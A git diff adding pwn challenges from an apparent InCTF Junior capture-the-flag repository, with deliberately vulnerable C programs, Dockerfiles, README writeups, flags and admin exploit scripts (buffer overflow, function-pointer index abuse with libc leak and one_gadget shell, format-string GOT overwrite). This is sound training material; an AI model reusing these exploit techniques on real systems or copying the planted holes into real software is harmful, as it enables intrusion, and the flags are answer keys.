+ int passwd = 0x66616b65;
+ printf("\033[0;37m");
+ printf("Welcome Dr.NO\n");
+ printf("Password please:");
+ getchar();
+ gets(buf);
+ auth();
+
+ if(passwd == 0x44724e6f){
+ attempts = 1;
+ win();
+ }
+ else{
+ printf("\033[0;36m");
+ print_with_delay("Incorrect password\n\n", 20);
+ attempts = 0;
+ }
+ if(!attempts){
+ printf("\033[0;31m");
+ print_with_delay("Unfortunately, I misjudged you. You are just a stupid policeman... \n", 20);
+ print_with_delay("...whose luck has run out.\n", 20);
+ }
+
+ return 0;
+}
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/admin/exploit.py b/Pwn/Easy-the-spy-who-overwrote-me/admin/exploit.py
new file mode 100644
index 0000000..15e1154
--- /dev/null
+++ b/Pwn/Easy-the-spy-who-overwrote-me/admin/exploit.py
@@ -0,0 +1,56 @@
+from pwn import *
+
+context.arch = 'x86_64'
+# context.log_level = 'debug'
+exe = './chall'
+elf = ELF('./chall')
+#libc = ELF('libc')
+#ld = ELF('ld')
+
+def start(argv=[], *a, **kw):
+ if(sys.argv[1] == "d"):
+ return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
+ elif(sys.argv[1] == "r"):
+ return remote('localhost',1337)
+ elif(sys.argv[1] == "l"):
+ return process([exe] + argv, *a, **kw)
+
+def s(a) : return io.send(a)
+def sl(a) : return io.sendline(a)
+def sa(a,b) : return io.sendafter(a,b)
+def sla(a,b) : return io.sendlineafter(a,b)
+def r(a) : return io.recv(a)
+def ru(a) : return io.recvuntil(a)
+def ra(a) : return io.recvall(a)
+def rl() : return io.recvline()
+def i() : return io.interactive()
+def cls() : return io.close()
+def p(a) : return log.info(a)
+def suck(a) : return log.success(a)
+
+gdbscript = '''
+b main
+c
+'''.format(**locals())
+
+#==========================================================
+'''
+ _ _ _ _ _____
+| | | | | | | | | __ \
+| |_| | ___ _ __ ___ | | | | ___ | | \/ ___
+| _ |/ _ \ '__/ _ \ | |/\| |/ _ \ | | __ / _ \
+| | | | __/ | | __/ \ /\ / __/ | |_\ \ (_) | _ _ _
+\_| |_/\___|_| \___| \/ \/ \___| \____/\___/ (_) (_) (_)
+
+'''
+#==========================================================
+
+
+io = start()
+
+ru("Choose:")
+sl(b"1");
+sl(b"a"*56 + p64(0x44724e6f))
+
+i()
+
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/admin/flag.txt b/Pwn/Easy-the-spy-who-overwrote-me/admin/flag.txt
new file mode 100644
index 0000000..4612fe5
--- /dev/null
+++ b/Pwn/Easy-the-spy-who-overwrote-me/admin/flag.txt
@@ -0,0 +1 @@
+inctfj{drN0_1s_4_m3mb3r_0f_sp3c7r3}
\ No newline at end of file
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/deployment/Dockerfile b/Pwn/Easy-the-spy-who-overwrote-me/deployment/Dockerfile
new file mode 100644
index 0000000..0a1d2ea
--- /dev/null
+++ b/Pwn/Easy-the-spy-who-overwrote-me/deployment/Dockerfile
@@ -0,0 +1,19 @@
+FROM ubuntu:22.04
+
+RUN apt-get -y update && \
+ apt-get -y upgrade
+
+RUN useradd -m ctf
+RUN echo "ctf:ctf" | chpasswd
+WORKDIR /home/ctf
+
+COPY chall .
+COPY flag.txt .
+COPY ynetd .
+
+RUN chown -R root:root /home/ctf
+RUN chmod -R 555 /home/ctf
+
+USER ctf
+EXPOSE 1338
+CMD ./ynetd -p 1338 ./chall
\ No newline at end of file
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/deployment/chall b/Pwn/Easy-the-spy-who-overwrote-me/deployment/chall
new file mode 100644
index 0000000..e83c3e1
Binary files /dev/null and b/Pwn/Easy-the-spy-who-overwrote-me/deployment/chall differ
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/deployment/flag.txt b/Pwn/Easy-the-spy-who-overwrote-me/deployment/flag.txt
new file mode 100644
index 0000000..4612fe5
--- /dev/null
+++ b/Pwn/Easy-the-spy-who-overwrote-me/deployment/flag.txt
@@ -0,0 +1 @@
+inctfj{drN0_1s_4_m3mb3r_0f_sp3c7r3}
\ No newline at end of file
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/deployment/ynetd b/Pwn/Easy-the-spy-who-overwrote-me/deployment/ynetd
new file mode 100644
index 0000000..0b1b2b0
Binary files /dev/null and b/Pwn/Easy-the-spy-who-overwrote-me/deployment/ynetd differ
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/handout/The_spy_who_overwrote_me.zip b/Pwn/Easy-the-spy-who-overwrote-me/handout/The_spy_who_overwrote_me.zip
new file mode 100644
index 0000000..bf1320b
Binary files /dev/null and b/Pwn/Easy-the-spy-who-overwrote-me/handout/The_spy_who_overwrote_me.zip differ
diff --git a/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/buggy-calc b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/buggy-calc
new file mode 100644
index 0000000..b917bb5
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/buggy-calc differ
diff --git a/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/ld-linux-x86-64.so.2 b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/ld-linux-x86-64.so.2
new file mode 100644
index 0000000..4589dd5
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/ld-linux-x86-64.so.2 differ
diff --git a/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/libc.so.6 b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/libc.so.6
new file mode 100644
index 0000000..7d14eed
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/libc.so.6 differ
diff --git a/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/source.c b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/source.c
new file mode 100644
index 0000000..747d267
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/Handout/Buggy-Calc/source.c
@@ -0,0 +1,98 @@
+#include
+
+void banner(){
+ puts("====================================");
+ puts(" \n\
+ ██████╗ █████╗ ██╗ ██████╗ \n\
+ ██╔════╝██╔══██╗██║ ██╔════╝ \n\
+ ██║ ███████║██║ ██║ \n\
+ ██║ ██╔══██║██║ ██║ \n\
+ ╚██████╗██║ ██║███████╗╚██████╗ \n\
+ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ \n\
+ ");
+}
+
+/* Setting up buffering */
+void init(){
+ setvbuf(stdin,0,_IONBF,0);
+ setvbuf(stdout,0,_IONBF,0);
+ banner();
+}
+
+/* Calculator functions */
+int add(int a,int b){
+ return a + b;
+}
+
+int sub(int a,int b){
+ return a - b;
+}
+
+int mul(int a,int b){
+ return a * b;
+}
+
+int div(int a,int b){
+ return a / b;
+}
+
+/* Driver Code */
+int main() {
+
+ size_t option = 0;
+ int numa = 0;
+ int numb = 0;
+ int result;
+
+ int varnum;
+ int var[4];
+
+ for(int i=0;i<4;i++){var[i] = 0;}
+
+ int (*func[4])(int a,int b);
+ func[0] = &add;
+ func[1] = ⊂
+ func[2] = &mul;
+ func[3] = ÷
+
+
+ init();
+ while(1) {
+ puts("\n====================================");
+ puts("| You have the following options - |");
+ puts("====================================");
+ puts("1. ADD\n2. SUBTRACT\n3. MULTIPLY\n4. DIVIDE\n5. VARIABLES\n6. EXIT");
+ printf(">> ");
+ scanf("%ld",&option);
+ if(option > 6)
+ puts("Invalid Option");
+ else if (option == 6){
+ break;
+ } else if (option == 5){
+ puts("1. SET VARIABLE\n2. USE VARIABLE");
+ printf(">> ");
+ scanf("%ld",&option);
+ printf("SELECT VARIABLE | <1> <2> <3> <4> | >> ");
+ scanf("%d",&varnum);
+ if(varnum > 4 || varnum < 1){
+ printf("Invalid Variable");
+ continue;
+ }
+ if(option == 1){
+ printf("Enter variable value - ");
+ scanf("%d",&var[varnum - 1]);
+ printf("The variable has been put in the stash\n");
+ } else {
+ printf("VARIABLE %d => %d \n",varnum,var[varnum]);
+ }
+ } else {
+ printf("Enter the numbers a : ");
+ scanf("%d",&numa);
+ printf("Enter the numbers b : ");
+ scanf("%d",&numb);
+ result = (func[--option])(numa,numb);
+ printf("Result from operation : %d\n",result);
+ }
+ }
+ printf("Hoping you liked the calculator");
+}
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/Handout/Buggy_Calc.zip b/Pwn/Hard-Buggy-Calc/Handout/Buggy_Calc.zip
new file mode 100644
index 0000000..7dbf869
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/Handout/Buggy_Calc.zip differ
diff --git a/Pwn/Hard-Buggy-Calc/README.md b/Pwn/Hard-Buggy-Calc/README.md
new file mode 100644
index 0000000..d702247
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/README.md
@@ -0,0 +1,25 @@
+# Buggy_Calc
+
+### Challenge Description
+
+This is our new and improved calculator, We introduced some new things such as variables. But in this version you cannot use them directly as it is still in development, so it's just like a notepad for numbers. We are offering you a sample early trial for our service.
+
+**Challenge File**:
++ [Primary Link](https://drive.google.com/file/d/11_LY-vWpRE6qM9CsQIPP5ZlPXTgmQI8J/view?usp=sharing)
++ [Mirror Link](https://1drv.ms/u/s!AmBxw8ypjaxCbUyD91ljrWBkyxE?e=4WnlnZ)
+
+**MD5 Hash**: 41aaf3321308a31275b3b4a1573ae94a
+
+### Short Writeup
+
++ Bug - The user can call a function pointer at index -1 because the option 0 is not restricted in operations but is an invalid operation
++ Exploitation - Use the variables to set the function pointer and call printf to get libc leak after which you may use a one_gadget or a system("sh") call to gain a shell.
++ The sh string exists within the strings that are printed out in "sta'sh'"
+
+### Flag
+
+inctfj{Fun7ion_P7rs__U5e_th3m_w3ll_93iuehf}
+
+### Author
+
+**R0R1**
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/admin/.vscode/c_cpp_properties.json b/Pwn/Hard-Buggy-Calc/admin/.vscode/c_cpp_properties.json
new file mode 100644
index 0000000..c2098a2
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/admin/.vscode/c_cpp_properties.json
@@ -0,0 +1,18 @@
+{
+ "configurations": [
+ {
+ "name": "linux-gcc-x64",
+ "includePath": [
+ "${workspaceFolder}/**"
+ ],
+ "compilerPath": "/usr/bin/gcc",
+ "cStandard": "${default}",
+ "cppStandard": "${default}",
+ "intelliSenseMode": "linux-gcc-x64",
+ "compilerArgs": [
+ ""
+ ]
+ }
+ ],
+ "version": 4
+}
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/admin/.vscode/launch.json b/Pwn/Hard-Buggy-Calc/admin/.vscode/launch.json
new file mode 100644
index 0000000..66bd48c
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/admin/.vscode/launch.json
@@ -0,0 +1,24 @@
+{
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "C/C++ Runner: Debug Session",
+ "type": "cppdbg",
+ "request": "launch",
+ "args": [],
+ "stopAtEntry": false,
+ "externalConsole": false,
+ "cwd": "/home/r0r1/Desktop/bi0s/pwn/INCTFJ/Hard/admin",
+ "program": "/home/r0r1/Desktop/bi0s/pwn/INCTFJ/Hard/admin/build/Debug/outDebug",
+ "MIMode": "gdb",
+ "miDebuggerPath": "gdb",
+ "setupCommands": [
+ {
+ "description": "Enable pretty-printing for gdb",
+ "text": "-enable-pretty-printing",
+ "ignoreFailures": true
+ }
+ ]
+ }
+ ]
+}
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/admin/.vscode/settings.json b/Pwn/Hard-Buggy-Calc/admin/.vscode/settings.json
new file mode 100644
index 0000000..3e5eb95
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/admin/.vscode/settings.json
@@ -0,0 +1,59 @@
+{
+ "C_Cpp_Runner.cCompilerPath": "gcc",
+ "C_Cpp_Runner.cppCompilerPath": "g++",
+ "C_Cpp_Runner.debuggerPath": "gdb",
+ "C_Cpp_Runner.cStandard": "",
+ "C_Cpp_Runner.cppStandard": "",
+ "C_Cpp_Runner.msvcBatchPath": "",
+ "C_Cpp_Runner.useMsvc": false,
+ "C_Cpp_Runner.warnings": [
+ "-Wall",
+ "-Wextra",
+ "-Wpedantic",
+ "-Wshadow",
+ "-Wformat=2",
+ "-Wcast-align",
+ "-Wconversion",
+ "-Wsign-conversion",
+ "-Wnull-dereference"
+ ],
+ "C_Cpp_Runner.msvcWarnings": [
+ "/W4",
+ "/permissive-",
+ "/w14242",
+ "/w14287",
+ "/w14296",
+ "/w14311",
+ "/w14826",
+ "/w44062",
+ "/w44242",
+ "/w14905",
+ "/w14906",
+ "/w14263",
+ "/w44265",
+ "/w14928"
+ ],
+ "C_Cpp_Runner.enableWarnings": true,
+ "C_Cpp_Runner.warningsAsError": false,
+ "C_Cpp_Runner.compilerArgs": [],
+ "C_Cpp_Runner.linkerArgs": [],
+ "C_Cpp_Runner.includePaths": [],
+ "C_Cpp_Runner.includeSearch": [
+ "*",
+ "**/*"
+ ],
+ "C_Cpp_Runner.excludeSearch": [
+ "**/build",
+ "**/build/**",
+ "**/.*",
+ "**/.*/**",
+ "**/.vscode",
+ "**/.vscode/**"
+ ],
+ "C_Cpp_Runner.useAddressSanitizer": false,
+ "C_Cpp_Runner.useUndefinedSanitizer": false,
+ "C_Cpp_Runner.useLeakSanitizer": false,
+ "C_Cpp_Runner.showCompilationTime": false,
+ "C_Cpp_Runner.useLinkTimeOptimization": false,
+ "C_Cpp_Runner.msvcSecureNoWarnings": false
+}
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/admin/buggy-calc b/Pwn/Hard-Buggy-Calc/admin/buggy-calc
new file mode 100644
index 0000000..b917bb5
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/admin/buggy-calc differ
diff --git a/Pwn/Hard-Buggy-Calc/admin/exp.py b/Pwn/Hard-Buggy-Calc/admin/exp.py
new file mode 100644
index 0000000..d06bd04
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/admin/exp.py
@@ -0,0 +1,106 @@
+from pwn import *
+
+exe = './buggy-calc'
+
+(host,port_num) = ("localhost",1338)
+
+def start(argv=[], *a, **kw):
+ if args.GDB:
+ return gdb.debug(
+ [exe] + argv, gdbscript=gscpt, *a, **kw)
+ elif args.RE:
+ return remote(host,port_num)
+ else:
+ return process(
+ [exe] + argv, *a, **kw)
+
+gscpt = (
+ '''
+b * 0x4014da
+'''
+).format(**locals())
+
+context.update(arch='amd64')
+
+# SHORTHANDS FOR FNCS
+se = lambda nbytes : p.send(nbytes)
+sl = lambda nbytes : p.sendline(nbytes)
+sa = lambda msg,nbytes : p.sendafter(msg,nbytes)
+sla = lambda msg,nbytes : p.sendlineafter(msg,nbytes)
+rv = lambda nbytes : p.recv(nbytes)
+rvu = lambda msg : p.recvuntil(msg)
+rvl = lambda : p.recvline()
+
+# SIMPLE PRETTY PRINTER
+def w(*args):
+ print(f"〔\033[1;32m>\033[0m〕",end="")
+ for i in args:
+ print(hex(i)) if(type(i) == int) else print(i,end=" ")
+ print("")
+
+# PWNTOOLS CONTEXT
+context.log_level = \
+ 'DEBUG'
+
+# _____________________________________________________ #
+# <<<<<<<<<<<<<<< EXPLOIT STARTS HERE >>>>>>>>>>>>>>>>> #
+
+p = start()
+
+# THE FOLLOWING BUG IS THE FACT THAT WE CAN GIVE IDX 0 TO CALL A FUNCTION IN
+# INDEX -1 WHICH IS CONTROLLED BY THE VARIABLES IN THE CALCULATOR
+printfgot = 0x404028
+rvu(b"EXIT")
+sl(b"5")
+rvu(b"USE VARIABLE\n")
+sl(b"1")
+rvu(b">>")
+sl(b"3")
+rvu(b"value - ")
+sl(str(0x4010a0).encode())
+
+# CALLING PRINTFPLT TO LEAK LIBC PRINTING OUT PRINTFGOT
+rvu(b"EXIT")
+sl(b"0")
+rvu(b" a : ")
+sl(str(0x404028).encode())
+rvu(b" b : ")
+sl(str(0x404028).encode())
+
+# PARSING THE LIBC LEAK
+libc = u64(rvu(b"Result")[:-6:].ljust(8,b"\x00")) - 0x606f0
+one_gadget = libc + 0xebc88
+
+# SETTING ONE_GADGET ADDRESS USING THE VARIABLES
+# YOU CAN DO A system("sh") CALL ALSO SINCE YOU CAN FIND IT IN THE STRING -
+# printf("The variable has been put in the sta'sh'");
+
+rvu(b"EXIT")
+sl(b"5")
+rvu(b"USE VARIABLE\n")
+sl(b"1")
+rvu(b">>")
+sl(b"3")
+rvu(b"value - ")
+sl(str(one_gadget & 0xffffffff).encode())
+
+rvu(b"EXIT")
+sl(b"5")
+rvu(b"USE VARIABLE\n")
+sl(b"1")
+rvu(b">>")
+sl(b"4")
+rvu(b"value - ")
+sl(str((one_gadget & (0xffffffff << (8*4))) >> (8*4)).encode())
+
+# DOING THE FINAL CALL
+rvu(b"EXIT")
+sl(b"0")
+rvu(b" a : ")
+sl(str(0x0).encode())
+rvu(b" b : ")
+sl(str(0x0).encode())
+
+sl("cat flag.txt")
+
+p.interactive()
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/admin/ld-linux-x86-64.so.2 b/Pwn/Hard-Buggy-Calc/admin/ld-linux-x86-64.so.2
new file mode 100644
index 0000000..4589dd5
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/admin/ld-linux-x86-64.so.2 differ
diff --git a/Pwn/Hard-Buggy-Calc/admin/libc.so.6 b/Pwn/Hard-Buggy-Calc/admin/libc.so.6
new file mode 100644
index 0000000..7d14eed
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/admin/libc.so.6 differ
diff --git a/Pwn/Hard-Buggy-Calc/admin/source.c b/Pwn/Hard-Buggy-Calc/admin/source.c
new file mode 100644
index 0000000..747d267
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/admin/source.c
@@ -0,0 +1,98 @@
+#include
+
+void banner(){
+ puts("====================================");
+ puts(" \n\
+ ██████╗ █████╗ ██╗ ██████╗ \n\
+ ██╔════╝██╔══██╗██║ ██╔════╝ \n\
+ ██║ ███████║██║ ██║ \n\
+ ██║ ██╔══██║██║ ██║ \n\
+ ╚██████╗██║ ██║███████╗╚██████╗ \n\
+ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ \n\
+ ");
+}
+
+/* Setting up buffering */
+void init(){
+ setvbuf(stdin,0,_IONBF,0);
+ setvbuf(stdout,0,_IONBF,0);
+ banner();
+}
+
+/* Calculator functions */
+int add(int a,int b){
+ return a + b;
+}
+
+int sub(int a,int b){
+ return a - b;
+}
+
+int mul(int a,int b){
+ return a * b;
+}
+
+int div(int a,int b){
+ return a / b;
+}
+
+/* Driver Code */
+int main() {
+
+ size_t option = 0;
+ int numa = 0;
+ int numb = 0;
+ int result;
+
+ int varnum;
+ int var[4];
+
+ for(int i=0;i<4;i++){var[i] = 0;}
+
+ int (*func[4])(int a,int b);
+ func[0] = &add;
+ func[1] = ⊂
+ func[2] = &mul;
+ func[3] = ÷
+
+
+ init();
+ while(1) {
+ puts("\n====================================");
+ puts("| You have the following options - |");
+ puts("====================================");
+ puts("1. ADD\n2. SUBTRACT\n3. MULTIPLY\n4. DIVIDE\n5. VARIABLES\n6. EXIT");
+ printf(">> ");
+ scanf("%ld",&option);
+ if(option > 6)
+ puts("Invalid Option");
+ else if (option == 6){
+ break;
+ } else if (option == 5){
+ puts("1. SET VARIABLE\n2. USE VARIABLE");
+ printf(">> ");
+ scanf("%ld",&option);
+ printf("SELECT VARIABLE | <1> <2> <3> <4> | >> ");
+ scanf("%d",&varnum);
+ if(varnum > 4 || varnum < 1){
+ printf("Invalid Variable");
+ continue;
+ }
+ if(option == 1){
+ printf("Enter variable value - ");
+ scanf("%d",&var[varnum - 1]);
+ printf("The variable has been put in the stash\n");
+ } else {
+ printf("VARIABLE %d => %d \n",varnum,var[varnum]);
+ }
+ } else {
+ printf("Enter the numbers a : ");
+ scanf("%d",&numa);
+ printf("Enter the numbers b : ");
+ scanf("%d",&numb);
+ result = (func[--option])(numa,numb);
+ printf("Result from operation : %d\n",result);
+ }
+ }
+ printf("Hoping you liked the calculator");
+}
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/deployment/Dockerfile b/Pwn/Hard-Buggy-Calc/deployment/Dockerfile
new file mode 100644
index 0000000..ae3348a
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/deployment/Dockerfile
@@ -0,0 +1,21 @@
+FROM ubuntu:22.04
+
+RUN export TERM="xterm-256color"
+
+RUN apt-get -y update && \
+ apt-get -y upgrade
+
+RUN useradd -m ctf
+RUN echo "ctf:ctf" | chpasswd
+WORKDIR /home/ctf
+
+COPY buggy-calc .
+COPY flag.txt .
+COPY ynetd .
+
+RUN chown -R root:root /home/ctf
+RUN chmod -R 555 /home/ctf
+
+USER ctf
+EXPOSE 1338
+CMD ./ynetd -p 1338 ./buggy-calc
diff --git a/Pwn/Hard-Buggy-Calc/deployment/buggy-calc b/Pwn/Hard-Buggy-Calc/deployment/buggy-calc
new file mode 100644
index 0000000..b917bb5
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/deployment/buggy-calc differ
diff --git a/Pwn/Hard-Buggy-Calc/deployment/flag.txt b/Pwn/Hard-Buggy-Calc/deployment/flag.txt
new file mode 100644
index 0000000..adc1dc8
--- /dev/null
+++ b/Pwn/Hard-Buggy-Calc/deployment/flag.txt
@@ -0,0 +1 @@
+inctfj{Fun7ion_P7rs__U5e_th3m_w3ll_93iuehf}
\ No newline at end of file
diff --git a/Pwn/Hard-Buggy-Calc/deployment/ld-linux-x86-64.so.2 b/Pwn/Hard-Buggy-Calc/deployment/ld-linux-x86-64.so.2
new file mode 100644
index 0000000..4589dd5
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/deployment/ld-linux-x86-64.so.2 differ
diff --git a/Pwn/Hard-Buggy-Calc/deployment/libc.so.6 b/Pwn/Hard-Buggy-Calc/deployment/libc.so.6
new file mode 100644
index 0000000..7d14eed
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/deployment/libc.so.6 differ
diff --git a/Pwn/Hard-Buggy-Calc/deployment/ynetd b/Pwn/Hard-Buggy-Calc/deployment/ynetd
new file mode 100644
index 0000000..0b1b2b0
Binary files /dev/null and b/Pwn/Hard-Buggy-Calc/deployment/ynetd differ
diff --git a/Pwn/Medium-Choc-Shop/Handout/Choc_Shop.zip b/Pwn/Medium-Choc-Shop/Handout/Choc_Shop.zip
new file mode 100644
index 0000000..7f22720
Binary files /dev/null and b/Pwn/Medium-Choc-Shop/Handout/Choc_Shop.zip differ
diff --git a/Pwn/Medium-Choc-Shop/README.md b/Pwn/Medium-Choc-Shop/README.md
new file mode 100644
index 0000000..42726c5
--- /dev/null
+++ b/Pwn/Medium-Choc-Shop/README.md
@@ -0,0 +1,29 @@
+# Choc Shop
+
+### Challenge Description
+
+Welcome to my chocolate store. Can you find out what my favourite type of chocolate is?
+
+**Challenge File**:
++ [Primary Link](https://drive.google.com/file/d/1__OMkrSBZdXYsrHq2jorGHJ9VD3anwu4/view?usp=sharing)
++ [Mirror Link](https://1drv.ms/u/c/d7b26a698efc06c2/EdjwL4d5amlOosE5fKQ1fuwBr3j1H7xQPU1NxXD3xj0UeQ?e=QTdrfb)
+
+**MD5 Hash**: 1065b3d0b73e163342ece4399c5fe128
+
+### Short Writeup
+
++ The challenge gives us a menu asking us what chocolate we would prefer.
++ If you choose the dark chocolate path, we find a format string vulnerability where it asks for our name.
++ The program also provides us with a ret2win function.
++ Using the format string we can overwrite the GOT entry of exit with the ret2win function and answer NO at the "Would you like some chocolate?" prompt so that exit is called.
++ The ret2win function asks us "What is my preferred chocolate type?" as a final check before giving us the flag.
++ The string we enter is compared using strstr() which means we can put every chocolate type in a single string since strstr() only checks whether the required string is present within the string we enter.
++ This bypasses the check and we get the flag.
+
+### Flag
+
+inctfj{d4rk_ch0c0l4t3_15_my_f4v0ur1t3_$T3mN#9}
+
+### Author
+
+**B4tMite**
diff --git a/Pwn/Medium-Choc-Shop/admin/Choc_Shop b/Pwn/Medium-Choc-Shop/admin/Choc_Shop
new file mode 100644
index 0000000..c0137df
Binary files /dev/null and b/Pwn/Medium-Choc-Shop/admin/Choc_Shop differ
diff --git a/Pwn/Medium-Choc-Shop/admin/exp.py b/Pwn/Medium-Choc-Shop/admin/exp.py
new file mode 100644
index 0000000..86fac44
--- /dev/null
+++ b/Pwn/Medium-Choc-Shop/admin/exp.py
@@ -0,0 +1,98 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ template template Choc_Shop
+from pwn import *
+
+# Set up pwntools for the correct architecture
+exe = context.binary = ELF(args.EXE or 'Choc_Shop')
+
+# ./exploit.py DEBUG - context.log_level = 'debug'
+# ./exploit.py NOASLR - turn off aslr
+host = args.HOST or 'localhost'
+port = int(args.PORT or 1338)
+
+def start_local(argv=[], *a, **kw):
+ '''Execute the target binary locally'''
+ if args.GDB:
+ return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+ else:
+ return process([exe.path] + argv, *a, **kw)
+
+def start_remote(argv=[], *a, **kw):
+ '''Connect to the process on the remote host'''
+ p = connect(host, port)
+ if args.GDB:
+ gdb.attach(p, gdbscript=gdbscript)
+ return p
+
+def start(argv=[], *a, **kw):
+ '''Start the exploit against the target.'''
+ if args.LCL:
+ return start_local(argv, *a, **kw)
+ else:
+ return start_remote(argv, *a, **kw)
+
+# MACROS
+def s(a) : return p.send(a)
+def sl(a) : return p.sendline(a)
+def sa(a,b) : return p.sendafter(a,b)
+def sla(a,b) : return p.sendlineafter(a,b)
+def rv(a) : return p.recv(a)
+def ru(a) : return p.recvuntil(a)
+def ra() : return p.recvall()
+def rl() : return p.recvline()
+def inter() : return p.interactive()
+def cls() : return p.close()
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+b main
+b chocmenu
+b chocnum
+b ret2win
+continue
+'''.format(**locals())
+
+# LOGGING
+def logg(libc_base, pie_base, heap_base):
+ if (libc_base != 0) :
+ info(f"LIBC: {hex(libc_base)}")
+ elif (pie_base != 0) :
+ info(f"PIE: {hex(pie_base)}")
+ elif (heap_base != 0) :
+ info(f"HEAP: {hex(heap_base)}")
+
+'''
+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
+ BEGIN EXPLOIT
+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
+'''
+# Arch: amd64-64-little
+# RELRO: Partial RELRO
+# Stack: Canary found
+# NX: NX enabled
+# PIE: No PIE (0x400000)
+
+p = start()
+
+ret2win = 0x401271
+ovr = {exe.got['exit'] : exe.sym['ret2win']}
+payload = fmtstr_payload(14,ovr)
+sla(b'[2] NO',b'1')
+sla(b'[4] BITTER',b'2')
+sla(b'WANT',b'10')
+sl(payload)
+sla(b'[2] NO',b'2')
+sla(b'TYPE?',b'WHITEDARKRAWBITTER')
+
+# sl(b"echo '$$'")
+# sl(b'cat flag.txt')
+ru(b'FLAG: ')
+flag = rl().decode()
+log.success(f"FLAG: {flag}")
+
+# inter()
+
diff --git a/Pwn/Medium-Choc-Shop/deployment/Choc_Shop b/Pwn/Medium-Choc-Shop/deployment/Choc_Shop
new file mode 100644
index 0000000..c0137df
Binary files /dev/null and b/Pwn/Medium-Choc-Shop/deployment/Choc_Shop differ
diff --git a/Pwn/Medium-Choc-Shop/deployment/Dockerfile b/Pwn/Medium-Choc-Shop/deployment/Dockerfile
new file mode 100644
index 0000000..55ed9bf
--- /dev/null
+++ b/Pwn/Medium-Choc-Shop/deployment/Dockerfile
@@ -0,0 +1,19 @@
+FROM ubuntu:22.04
+
+RUN apt-get -y update && \
+ apt-get -y upgrade
+
+RUN useradd -m ctf
+RUN echo "ctf:ctf" | chpasswd
+WORKDIR /home/ctf
+
+COPY Choc_Shop .
+COPY flag.txt .
+COPY ynetd .
+
+RUN chown -R root:root /home/ctf
+RUN chmod -R 555 /home/ctf
+
+USER ctf
+EXPOSE 1338
+CMD ./ynetd -p 1338 ./Choc_Shop
diff --git a/Pwn/Medium-Choc-Shop/deployment/flag.txt b/Pwn/Medium-Choc-Shop/deployment/flag.txt
new file mode 100644
index 0000000..c455292
--- /dev/null
+++ b/Pwn/Medium-Choc-Shop/deployment/flag.txt
@@ -0,0 +1,2 @@
+inctfj{d4rk_ch0c0l4t3_15_my_f4v0ur1t3_#9}
+
diff --git a/Pwn/Medium-Choc-Shop/deployment/ynetd b/Pwn/Medium-Choc-Shop/deployment/ynetd
new file mode 100644
index 0000000..0b1b2b0
Binary files /dev/null and b/Pwn/Medium-Choc-Shop/deployment/ynetd differ
diff --git a/Pwn/Medium-woogie-woogie/README.md b/Pwn/Medium-woogie-woogie/README.md
new file mode 100644
index 0000000..84a5d63
--- /dev/null
+++ b/Pwn/Medium-woogie-woogie/README.md
@@ -0,0 +1,25 @@
+# Challenge Name
+
+Woogie-Woogie
+
+### Challenge Description
+
+Your brother Schneizel refuses to share the codes for the fleija warheads, maybe beating him in a game of chess will make him talk?
+
+**Challenge File**:
++ [Primary Link](https://drive.google.com/file/d/1e0ULSfO3dx5vezuexq1VScyRX6ZZk8lB/view?usp=sharing)
++ [Mirror Link](https://mega.nz/file/Ia8QESiC#GZykFk802QCO6rrM-FTUit6ncaWQAv53T24MNY0VBTc)
+
+**MD5 Hash**: ea621f1640a9693ed8f9341a816ed783
+
+### Short Writeup
+
++ Using a technique called ret2plt to get a libc leak, and then calling the libc symbol system, with a libc pointer to "/bin/sh" as argument, using a pop_rdi gadget.
+
+### Flag
+
